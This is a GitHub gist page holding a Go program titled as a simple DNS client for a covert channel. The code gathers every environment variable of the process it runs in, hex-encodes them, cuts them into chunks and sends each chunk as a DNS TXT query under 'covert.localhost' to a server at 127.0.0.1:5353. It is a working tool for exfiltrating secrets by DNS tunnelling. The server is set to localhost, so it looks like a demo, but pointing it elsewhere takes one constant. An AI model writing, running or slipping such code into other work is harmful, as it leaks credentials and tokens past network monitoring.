Last active
November 18, 2018 23:01
-
-
Save Xumeiquer/810481057f6bcd2c87a62e320073a966 to your computer and use it in GitHub Desktop.
Simple DNS Client to perform covert channel
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"encoding/hex" | |
"flag" | |
"fmt" | |
"log" | |
"os" | |
"strings" | |
"github.com/miekg/dns" | |
) | |
const ( | |
dnsMaxLength = 63 | |
covertChannel = "covert.localhost" | |
server = "127.0.0.1:5353" | |
) | |
var ( | |
verbose = false | |
) | |
func init() { | |
flag.BoolVar(&verbose, "verbose", verbose, "Verbose") | |
flag.Parse() | |
} | |
func chunkSplit(body string, limit int) []string { | |
var charSlice []rune | |
for _, char := range body { | |
charSlice = append(charSlice, char) | |
} | |
var result []string | |
for len(charSlice) >= dnsMaxLength { | |
result = append(result, string(charSlice[:dnsMaxLength])) | |
charSlice = charSlice[dnsMaxLength:] | |
} | |
if len(charSlice) != 0 && len(charSlice) < (dnsMaxLength) { | |
result = append(result, string(charSlice[:len(charSlice)])) | |
} | |
return result | |
} | |
func sendPreamble() { | |
dnsClient := dns.Client{} | |
message := dns.Msg{} | |
target := fmt.Sprintf("init.env.%s", covertChannel) | |
message.SetQuestion(dns.Fqdn(target), dns.TypeTXT) | |
res, _, err := dnsClient.Exchange(&message, server) | |
if err != nil { | |
log.Fatal(err) | |
} | |
if verbose { | |
for _, ans := range res.Answer { | |
TXTRecord := ans.(*dns.TXT) | |
log.Printf("Preamble response: %s", TXTRecord.Txt) | |
} | |
} | |
} | |
func sendEpilogue() { | |
dnsClient := dns.Client{} | |
message := dns.Msg{} | |
target := fmt.Sprintf("done.env.%s", covertChannel) | |
message.SetQuestion(dns.Fqdn(target), dns.TypeTXT) | |
res, _, err := dnsClient.Exchange(&message, server) | |
if err != nil { | |
log.Fatal(err) | |
} | |
if verbose { | |
for _, ans := range res.Answer { | |
TXTRecord := ans.(*dns.TXT) | |
log.Printf("Epiloge response: %s", TXTRecord.Txt) | |
} | |
} | |
} | |
func sendData(payload string) string { | |
dnsClient := dns.Client{} | |
message := dns.Msg{} | |
target := fmt.Sprintf("%s.%s", payload, covertChannel) | |
message.SetQuestion(dns.Fqdn(target), dns.TypeTXT) | |
res, _, err := dnsClient.Exchange(&message, server) | |
if err != nil { | |
log.Fatal(err) | |
} | |
var responseData []string | |
for _, ans := range res.Answer { | |
TXTRecord := ans.(*dns.TXT) | |
responseData = append(responseData, TXTRecord.Txt...) | |
if verbose { | |
log.Printf("Server response: %s", TXTRecord.Txt) | |
} | |
} | |
return strings.Join(responseData, "") | |
} | |
func sendEnvVars() { | |
payload := strings.Join(os.Environ(), "\n") | |
data := hex.EncodeToString([]byte(payload)) | |
chunks := chunkSplit(data, dnsMaxLength) | |
for _, chunk := range chunks { | |
sendData(chunk) | |
} | |
} | |
func main() { | |
sendPreamble() | |
sendEnvVars() | |
sendEpilogue() | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment